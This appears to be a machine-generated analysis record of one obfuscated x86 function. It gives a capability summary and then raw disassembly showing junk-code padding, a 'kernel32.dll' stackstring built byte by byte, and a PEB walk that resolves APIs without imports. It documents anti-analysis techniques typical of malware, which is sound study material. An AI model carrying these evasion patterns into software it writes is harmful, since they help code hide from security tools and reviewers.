Function at 0x4419ef
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
inc ecx
push ecx
push eax
add esp, 4
call 0x441366
add byte [ebx], bh
cmp eax, dword [edx + 0x48]
xor al, 0x32
aas
inc esp
add esp, 4
xor ecx, 0xea07
pop ecx
push ebx
add ebx, 0x16790
jmp 0x44137d
jmp 0x441385
pop ebx
jmp 0x4415b9
mov dword [ebp - 0xcbc], 7
mov eax, dword [ebp - 0x4f4]
mov dword [ebp - 0xaec], eax
push esi
add esi, 0x14c38
xor esi, 0x3fd5
add esi, 0x24d1
jmp 0x4413b9
pop esi
push edi
push ebx
add esp, 4
call 0x4413cf
add byte [esi + 0x40], al
inc esi
inc edx
dec esp
push eax
inc edi
dec eax
cmp dword [ebx - 0x74a0fb3c], eax
lea ebp, [eax]
ljmp 0xf518
push edx
push edx
add esp, 4
sub edx, 0x11dd8
pop edx
push edi
push ebx
add esp, 4
sub edi, 0xde79
and edi, 0x73c1
add edi, 0x12631
pop edi
push edx
add edx, 0x839c
xor edx, 0x11b99
pop edx
mov dword [ebp - 0x3cc], 0
push edx
push ebx
add esp, 4
add edx, 0x56dc
or edx, 0xf734
sub edx, 0x345c
jmp 0x441612
pop edx
push edx
and edx, 0x1b12
add edx, 0xed33
and edx, 0xf45c
pop edx
push edx
push ebx
add esp, 4
jmp 0x441634
and edx, 0x102d3
call 0x441647
add byte [ebp + 0x4c], al
cmp al, 0x38
cmp dword [eax + 0x4d], ecx
add esp, 4
pop edx
push edi
jmp 0x441651
jmp 0x441658
pop edi
mov eax, 1
imul ecx, eax, 0
lea edx, [ebp + ecx - 0xbdc]
mov dword [ebp - 0x15e4], edx
push eax
call 0x44167c
add byte [edi + 0x3c], al
xor eax, 0x40324e50
add esp, 4
pop eax
push eax
and eax, 0x53d8
add eax, 0x3d95
add eax, 0x438c
pop eax
push edi
push edi
add esp, 4
jmp 0x44169f
pop edi
mov dword [ebp - 0x1e80], 0xffffffff
push edi
or edi, 0xeae5
sub edi, 0x14512
pop edi
push edx
or edx, 0xa028
pop edx
push ebx
jmp 0x4416c7
and ebx, 0x6bb6
pop ebx
push ecx
sub ecx, 0xaf
add ecx, 0x6b85
pop ecx
mov eax, dword [ebp - 0x77c]
mov dword [ebp - 0x4f8], eax
jmp 0x4416f9
mov ecx, dword [ebp - 0x4f8]
add ecx, 1
mov dword [ebp - 0x4f8], ecx
push edi
push ecx
add esp, 4
call 0x44170d
add byte [esi], dh
inc ebp
dec esi
xor eax, dword [ecx + 0x37]
cmp dword [edi + 0x4a], ecx
add esp, 4
and edi, 0x16a8
and edi, 0x1062b
and edi, 0x12dc9
pop edi
push edx
and edx, 0x17e10
pop edx
mov edx, dword [ebp - 0x4f8]
sub edx, dword [ebp - 0x77c]
cmp edx, 0xffffffff
jb 0x441773
push ebx
call 0x44174c
add byte [edi + eax*2], bh
cmp eax, 0x4d464934
cmp eax, 0x4c48350
pop ebx
push esi
push ebx
add esp, 4
xor esi, 0xc379
or esi, 0x3293
or esi, 0x10c52
and esi, 0xd84b
pop esi
jmp 0x4419a1
mov dword [ebp - 0xcc4], 7
mov eax, dword [ebp - 0x4f8]
mov dword [ebp - 0xae4], eax
push esi
push esi
add esp, 4
or esi, 0x15ee
jmp 0x44179d
pop esi
push ecx
sub ecx, 0xdd59
add ecx, 0xe559
jmp 0x4417b4
sub ecx, 0xb41
pop ecx
mov ecx, dword [ebp - 0x15e4]
mov dword [ebp - 0xae0], ecx
mov dword [ebp - 0xcc8], 0
mov edx, dword [ebp - 0x4f8]
cmp edx, dword [ebp - 0x15e4]
jne 0x441822
push eax
push ebx
add esp, 4
or eax, 0x49c6
pop eax
push edx
or edx, 0x615b
xor edx, 0x2900
call 0x441807
add byte [esi], dh
cmp al, byte [esi + 0x4c]
dec edx
inc esp
cmp eax, dword [edx + 0x3c]
add esp, 4
xor edx, 0x26a
pop edx
mov eax, dword [ebp - 0xcc8]
mov dword [ebp - 0x15ec], eax
jmp 0x441953
cmp dword [ebp - 0xcc4], 0
jle 0x441947
push eax
and eax, 0xef81
call 0x441844
add byte [edi], dh
inc ecx
inc esp
aas
xor eax, 0x833a384e
les eax, [ecx + eax*4]
loopne 0x441868
test eax, 0x5eb0000
xor eax, 0x334f3b3a
pop eax
push ebx
push edi
add esp, 4
xor ebx, 0x5a82
pop ebx
mov ecx, dword [ebp - 0xae4]
movzx edx, byte [ecx]
mov dh, 0x11
mov eax, dword [ebp - 0xae0]
movzx ecx, byte [eax]
cmp edx, ecx
je 0x4418e3
push edx
jmp 0x44187e
sub edx, 0xb63e
or edx, 0xe113
sub edx, 0x17ef4
pop edx
push edi
push esi
add esp, 4
add edi, 0x76
pop edi
push edi
push edi
add esp, 4
xor edi, 0xe253
pop edi
mov edx, dword [ebp - 0xae4]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0xae0]
movzx edx, byte [ecx]
cmp eax, edx
jle 0x4418cb
mov dword [ebp - 0x15e8], 1
jmp 0x4418d5
mov dword [ebp - 0x15e8], 0xffffffff
mov eax, dword [ebp - 0x15e8]
mov dword [ebp - 0xcc8], eax
jmp 0x441947
push ecx
add ecx, 0x5ba1
add ecx, 0x1180f
xor ecx, 0x11528
jmp 0x4418fc
pop ecx
push ebx
push ebx
add esp, 4
jmp 0x441908
or ebx, 0x3e4e
sub ebx, 0x15578
pop ebx
mov ecx, dword [ebp - 0xcc4]
sub ecx, 1
mov dword [ebp - 0xcc4], ecx
cmp al, 0xf3
invalid
dec dword [ebx - 0xae36b]
inc dword [ebx - 0x6a76fe3e]
sbb al, 0xf5
invalid
dec dword [ebx - 0xadf7b]
inc dword [ebx - 0x7a76fe40]
and ch, dh
invalid
invalid
jmp 0x441822
mov ecx, dword [ebp - 0xcc8]
mov dword [ebp - 0x15ec], ecx
cmp dword [ebp - 0x15ec], 0
jne 0x44199c
push esi
or esi, 0x9a59
xor esi, 0xd591
xor esi, 0x10e91
add esi, 0x104d3
pop esi
push ecx
push edi
add esp, 4
xor ecx, 0x10a0
pop ecx
push ebx
push ecx
add esp, 4
jmp 0x44198d
pop ebx
mov edx, dword [ebp - 0x4f8]
mov dword [ebp - 0xad8], edx
jmp 0x4419dd
jmp 0x4416ea
push edi
push ecx
add esp, 4
call 0x4419b5
add byte [ebx], dh
dec edx
inc esi
inc edi
xor al, 0x40
inc edi
inc eax
cmp al, byte [ebx - 0x87efb3c]
popfd
add byte [eax], al
or edi, 0x11650
pop edi
push esi
sub esi, 0xede6
add esi, 0x16bb0
pop esi
mov dword [ebp - 0xad8], 0
push edi
push esi
add esp, 4
call 0x4419ef
add byte [ecx + 0x38], al
inc esp
xor edi, dword [esi]
cmp dword [edi], esi
add esp, 4
jmp 0x4419fa
pop edi
push edx
push edi
add esp, 4
and edx, 0x14ed8
jmp 0x441a0e
pop edx
mov byte [ebp - 0x898], 0x45
test dword [eax - 9], ebp
invalid
inc dword [ebp - 0x3a]
test dword [ecx - 9], ebp
invalid
invalid
js 0x4419e4
test dword [edx - 9], ebp
invalid
jmp [ecx - 0x3a]
test dword [ebx - 9], ebp
invalid
push dword [esi + eax*8 - 0x7b]
insb byte es:[edi], dx
idiv edi
call dword [eax - 0x3a]
test dword [ebp - 9], ebp
invalid
push dword [edx - 0x3a]
test dword [esi - 9], ebp
invalid
jmp [edi - 0x3a]
test dword [edi - 9], ebp
invalid
jmp dword [ebx - 0x3a]
test dword [eax - 9], esi
invalid
jmp dword [ebp - 0x3a]
test dword [ecx - 9], esi
invalid
push dword [ebx - 0x3a]
test dword [edx - 9], esi
invalid
push dword [ebx - 0x3a]
test dword [ebx - 9], esi
invalid
inc dword [eax]
push ecx
push ecx
add esp, 4
or ecx, 0xe1f6
or ecx, 0x9b75
sub ecx, 0xc1ed
pop ecx
push esi
xor esi, 0x17bbb
and esi, 0xc4ce
or esi, 0xe7bb
add esi, 0x6103
pop esi
mov eax, 0x6b
mov word [ebp - 0x16c0], ax
mov ecx, 0x65
mov word [ebp - 0x16be], cx
mov edx, 0x72
mov word [ebp - 0x16bc], dx
mov eax, 0x6e
mov word [ebp - 0x16ba], ax
mov ecx, 0x65
mov word [ebp - 0x16b8], cx
mov edx, 0x6c
mov word [ebp - 0x16b6], dx
mov eax, 0x33
mov word [ebp - 0x16b4], ax
mov ecx, 0x32
mov word [ebp - 0x16b2], cx
mov edx, 0x2e
mov word [ebp - 0x16b0], dx
mov eax, 0x64
mov word [ebp - 0x16ae], ax
mov ecx, 0x6c
mov word [ebp - 0x16ac], cx
mov edx, 0x6c
mov word [ebp - 0x16aa], dx
xor eax, eax
mov word [ebp - 0x16a8], ax
push esi
sub esi, 0x179b9
pop esi
push ecx
push ecx
add esp, 4
sub ecx, 0x172c8
and ecx, 0x11914
xor ecx, 0x1055
pop ecx
push ebx
push eax
add esp, 4
and ebx, 0x3b69
add ebx, 0xb15d
pop ebx
push edx
xor edx, 0x166c2
call 0x441b77
add byte [ecx + 0x45], al
inc edx
dec edi
inc esp
inc ebx
xor ecx, dword [ebp + 0x48]
xor eax, dword [ebx + 0x9e804c4]
add byte [eax], al
add byte [eax], al
inc edx
inc eax
dec esi
aas
xor dh, byte [esi]
dec ecx
inc ebx
add esp, 4
or edx, 0x12bdc
pop edx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x1b4c], ecx
mov edx, dword [ebp - 0x1b4c]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x1d1c], eax
mov ecx, dword [ebp - 0x1d1c]
mov dword [ebp - 0x15f0], ecx
push ebx
push eax
add esp, 4
add ebx, 0xb981
and ebx, 0xeb85
or ebx, 0xd2ee
pop ebx
push ebx
sub ebx, 0x5a79
sub ebx, 0xfc60
xor ebx, 0x4ff3
or ebx, 0x117d3
pop ebx
cmp dword [ebp - 0x15f0], 0
jne 0x441c04
mov dword [ebp - 0x2bc], 0
jmp 0x441ec0
mov edx, dword [ebp - 0x15f0]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xcd4], ecx
push edi
push edi
add esp, 4
sub edi, 0x58e8
add edi, 0x28b2
or edi, 0xcca4
and edi, 0x652a
pop edi
push edi
xor edi, 0x287b
xor edi, 0xab30
add edi, 0xbd93
pop edi
cmp dword [ebp - 0xcd4], 0
jne 0x441c60
mov dword [ebp - 0x2bc], 0
jmp 0x441ec0
mov edx, dword [ebp - 0xcd4]
mov dword [ebp - 0x4fc], edx
push ebx
push ecx
add esp, 4
xor ebx, 0x8a84
jmp 0x441c7f
pop ebx
push edi
jmp 0x441c87
call 0x441c94
add byte [0x4546473a], dh
cmp byte [ebx - 0x7d], al
les eax, [ecx + eax*4]
out dx, eax
and byte [ecx], bh
add byte [eax], al
pop edi
lea eax, [ebp - 0x16c0]
mov dword [ebp - 0xcd0], eax
mov ecx, dword [ebp - 0x4fc]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xccc], edx
xor eax, eax
mov word [ebp - 0x1c0], ax
xor ecx, ecx
mov word [ebp - 0x10c], cx
push esi
push edx
add esp, 4
jmp 0x441cd9
pop esi
push edx
push ebx
add esp, 4
and edx, 0x77bd
pop edx
push ecx
push esi
add esp, 4
call 0x441cf9
add byte [ebx], bh
aas
dec edi
inc ebp
cmp al, 0x35
dec ebx
cmp al, byte [ebx - 0x74a6fb3c]
xchg ebp, eax
xor al, 0xf3
invalid
push eax
jmp 0x441ec9
pop eax
push eax
sub eax, 0x299a
jmp 0x441ed9
add eax, 0x1a4a
xor eax, 0x94e4
pop eax
push edx
push eax
add esp, 4
xor edx, 0xbf50
pop edx
cmp dword [ebp - 0x2bc], 0
jne 0x4427f7
mov ecx, 0x6b
mov word [ebp - 0x172c], cx
mov edx, 0x65
mov word [ebp - 0x172a], dx
mov eax, 0x72
mov word [ebp - 0x1728], ax
mov ecx, 0x6e
mov word [ebp - 0x1726], cx
mov edx, 0x65
mov word [ebp - 0x1724], dx
mov eax, 0x6c
mov word [ebp - 0x1722], ax
mov ecx, 0x33
mov word [ebp - 0x1720], cx
mov edx, 0x32
mov word [ebp - 0x171e], dx
mov eax, 0x2e
mov word [ebp - 0x171c], ax
mov ecx, 0x64
mov word [ebp - 0x171a], cx
mov edx, 0x6c
mov word [ebp - 0x1718], dx
mov eax, 0x6c
mov word [ebp - 0x1716], ax
xor ecx, ecx
mov word [ebp - 0x1714], cx
push ebx
sub ebx, 0xa497
jmp 0x441fa8
call fcn.00441fb6
add byte [ecx + 0x4e], cl
dec esi
dec ebp
dec esi
inc esp
dec edx
push ebx
jmp 0x4427ff
sub ebx, 0x15bd
and ebx, 0x6da3
pop ebx
push esi
push edi
add esp, 4
sub esi, 0x5942
call 0x442825
add byte [ebx + 0x35], al
dec eax
inc edx
aas
xor al, 0x3e
dec ebp
add esp, 4
pop esi
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1d40], edx
mov eax, dword [ebp - 0x1d40]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1d44], ecx
mov edx, dword [ebp - 0x1d44]
mov dword [ebp - 0x1618], edx
push edi
push edi
add esp, 4
and edi, 0x13742
call 0x44286a
add byte [ecx + 0x35], cl
dec esp
inc edi
cmp al, 0x4e
cmp dword [ebx], esi
add esp, 4
call 0x442879
add byte [edi], dh
cmp dh, byte [esi]
xor dl, byte [eax + 0x39]
add esp, 4
add edi, 0x77a0
pop edi
cmp dword [ebp - 0x1618], 0
jne 0x44289b
mov dword [ebp - 0x2bc], 0
jmp 0x442b42
mov eax, dword [ebp - 0x1618]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xcf0], edx
push ecx
and ecx, 0x13ce4
pop ecx
push esi
push esi
add esp, 4
or esi, 0xe4c4
xor esi, 0x13e7e
sub esi, 0x6ac3
pop esi
push edx
push edx
add esp, 4
and edx, 0x16700
and edx, 0x342f
pop edx
cmp dword [ebp - 0xcf0], 0
jne 0x4428f7
mov dword [ebp - 0x2bc], 0
jmp 0x442b42
mov eax, dword [ebp - 0xcf0]
mov dword [ebp - 0x504], eax
push esi
push edi
add esp, 4
and esi, 0x9a77
sub esi, 0x14ba5
xor esi, 0x157ad
pop esi
push edx
push ebx
add esp, 4
sub edx, 0x127c6
jmp 0x44292e
and edx, 0x686e
pop edx
lea ecx, [ebp - 0x16c0]
mov dword [ebp - 0xcec], ecx
mov edx, dword [ebp - 0x504]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xce8], eax
xor ecx, ecx
mov word [ebp - 0x1c8], cx
xor edx, edx
mov word [ebp - 0x28], dx
push eax
push ebx
add esp, 4
xor eax, 0xc7dd
xor eax, 0x16eda
add eax, 0x1996
pop eax
push edi
add edi, 0xa646
add edi, 0xc2fc
xor edi, 0x1306a
and edi, 0x611a
pop edi
mov eax, dword [ebp - 0xce8]
mov cx, word [eax]
mov word [ebp - 0x10a2], cx
mov edx, dword [ebp - 0xce8]
add edx, 2
mov dword [ebp - 0xce8], edx
mov ax, word [ebp - 0x10a2]
mov word [ebp - 0x1c8], ax
mov ecx, dword [ebp - 0xcec]
mov dx, word [ecx]
mov word [ebp - 0x10a4], dx
mov eax, dword [ebp - 0xcec]
add eax, 2
mov dword [ebp - 0xcec], eax
mov cx, word [ebp - 0x10a4]
mov word [ebp - 0x28], cx
push ebx
push edi
add esp, 4
and ebx, 0x7f29
pop ebx
push ebx
and ebx, 0x68ef
xor ebx, 0xa491
or ebx, 0x10309
and ebx, 0x11c0e
pop ebx
push ecx
push ecx
add esp, 4
add ecx, 0x1194f
pop ecx
movzx edx, word [ebp - 0x28]
test edx, edx
jne 0x442a37
movzx eax, word [ebp - 0x1c8]
movzx ecx, word [ebp - 0x28]
sub eax, ecx
mov dword [ebp - 0x1620], eax
jmp 0x442a91
movzx edx, word [ebp - 0x1c8]
movzx eax, word [ebp - 0x28]
cmp edx, eax
je 0x44295f
movzx ecx, word [ebp - 0x1c8]
xor ecx, 0x20
movzx edx, word [ebp - 0x28]
cmp ecx, edx
je 0x44295f
movzx eax, word [ebp - 0x1c8]
movzx ecx, word [ebp - 0x28]
cmp eax, ecx
jge 0x442a7b
mov dword [ebp - 0x161c], 0xffffffff
jmp 0x442a85
mov dword [ebp - 0x161c], 1
mov edx, dword [ebp - 0x161c]
mov dword [ebp - 0x1620], edx
cmp dword [ebp - 0x1620], 0
jne 0x442ada
push ebx
add ebx, 0x3071
add ebx, 0xf13a
add ebx, 0x24a0
pop ebx
push eax
push edi
add esp, 4
sub eax, 0xf695
pop eax
push esi
push edi
add esp, 4
or esi, 0x118fe
sub esi, 0xbed
pop esi
mov eax, dword [ebp - 0x504]
mov dword [ebp - 0x2bc], eax
jmp 0x442b42
push eax
jmp 0x442ae4
or eax, 0xc8a8
or eax, 0xd5a6
pop eax
push ecx
xor ecx, 0x11f9b
pop ecx
push edx
jmp 0x442aff
add edx, 0x649a
sub edx, 0x1cf4
pop edx
mov ecx, dword [ebp - 0x504]
invalid
dec dword [ebx - 0x36a76ef]
cli
invalid
dec dword [ebx - 0x5037b]
invalid
cmp eax, dword [ebp - 0xcf0]
je 0x442b38
mov ecx, dword [ebp - 0x504]
cmp dword [ecx + 0x30], 0
jne 0x442903
mov dword [ebp - 0x2bc], 0
push edi
push esi
add esp, 4
xor edi, 0x2bb8
jmp 0x442b55
pop edi
push eax
push ebx
add esp, 4
xor eax, 0x559b
xor eax, 0x17e62
and eax, 0x919a
and eax, 0x16620
pop eax
mov edx, dword [ebp - 0x2bc]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x33c], eax
push ebx
push edx
add esp, 4
or ebx, 0x131c5
add ebx, 0xf207
pop ebx
push esi
jmp 0x442b9f
xor esi, 0x8117
call 0x442bb1
add byte [0x473c4535], bh
cmp byte [ebx - 0x38a1fb3c], al
test dword [eax - 8], esp
invalid